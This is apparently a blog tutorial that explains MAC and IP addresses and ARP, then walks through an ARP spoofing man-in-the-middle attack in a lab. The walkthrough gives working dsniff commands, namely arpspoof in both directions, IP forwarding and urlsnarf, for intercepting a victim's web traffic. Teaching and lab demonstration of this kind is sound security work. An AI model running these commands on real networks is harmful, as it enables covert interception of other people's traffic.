Capturing traffic with ARP
Summary

Whenever you walk into a coffee shop or a public place offering a free Wi-Fi connection, someone can capture your unencrypted web traffic through ARP Spoofing. This is a hacking technique that exploits the vulnerabilities of the ARP—Address Resolution Protocol

How does the Internet transmit data?

The Internet transmits data using a hierarchical architecture using packets, MAC addresses, and IP addresses: 

The key differences between a MAC address and an IP address are as follows: 

FeatureMAC addressIP address
Full nameMedia Access Control addressInternet Protocol address
PurposeUnique identifier for network hardware (physical address)Logical address used for locating devices on networks
LayerLayer 2 (Data link layer)Layer 3 (Network layer)
Format00:1A:2B:3C:4D:5E (Hexadecimal, 48-bit)IPv4: 192.168.1.10, IPv6: 2001:0db8::1 (Logical, binary)
Assigned byManufacturer (hardcoded into NIC)Network or ISP (dynamically or statically assigned)
ScopeLocal network onlyGlobal or local network
PersistenceFixed (but spoofable)Can change frequently (DHCP, mobility)
Used bySwitches and NICs to route frames within LANsRouters to forward packets between networks
VisibilityVisible only within local subnetVisible across the internet (for public IPs)
What is ARP?

ARP stands for Address Resolution Protocol. It’s a Layer 2 protocol used to map an IP address (Layer 3) to a MAC address (Layer 2) within a local area network (LAN). 

How does the router know the machine’s MAC address at a specific IP address? When a device wants to communicate with another on the same LAN, it must know the recipient’s MAC address. It sends out an ARP request like the one below: 

				
					# ARP request (<a href="https://negativepid.blog/the-christchurch-mosque-shooting/">broadcast</a>)
Who has 192.168.1.1? Tell 192.168.1.100
				
			

The device with that IP responds with its MAC, and your machine saves it in its ARP table.

				
					# ARP reply (unicast)
192.168.1.1 is at aa:bb:cc:dd:ee:ff

				
			

The ARP table maps who and where you are on the network. 

What are ARP spoofing attacks?
Performing an ARP Spoofing attack

In the demo below, we show you how to perform an ARP Spoofing attack from start to end.

Below are the commands used in the demo to perform the attack from a Kali machine:

Install the dsniff tool as root on your machine to execute the attack (here, Kali). This tool contains several packages for intercepting network traffic, such as arpspoof, which performs an ARP Spoofing attack. 

				
					sudo -i
apt-get <a href="https://negativepid.blog/the-solarwinds-supply-chain-attack/">update</a>
apt-get install dsniff
				
			

Discover the other machines on the network. Our demo shows a PfSense router and a Metasploitable2 machine as the victim. The router on your network will have the lowest IP address.

				
					sudo netdiscover
				
			

Next, you need to enable IP forwarding on your machine so that you can forward packets on behalf of other machines.

				
					echo 1 > /proc/sys/net/ipv4/ip_forward
				
			

You can now generate multiple ARP requests stating that your MAC address maps to the router’s address. 

				
					arpspoof -i eth0 -t <victim IP> <router IP>
				
			

You’ll now trick the router into believing that you are the victim’s machine so you can intercept their traffic. Note that the P addresses are now swapped.

				
					arpspoof -i eth0 -t <router IP> <victim IP>
				
			

Now, launch a listener to intercept your victim’s traffic. 

				
					urlsnarf -i eth0
				
			

You can now switch to the victim’s machine and generate some traffic. 

				
					
wget http://www.google.com
				
			

Your machine should now see the URLs of the traffic generated by your victim. Please note that it can take several minutes to see the URLs. 

Press CTRL+C to terminate the tasks in your terminal windows when you’re finished capturing the traffic. Arpspoof will restore the ARP tables automatically. 

Share this post :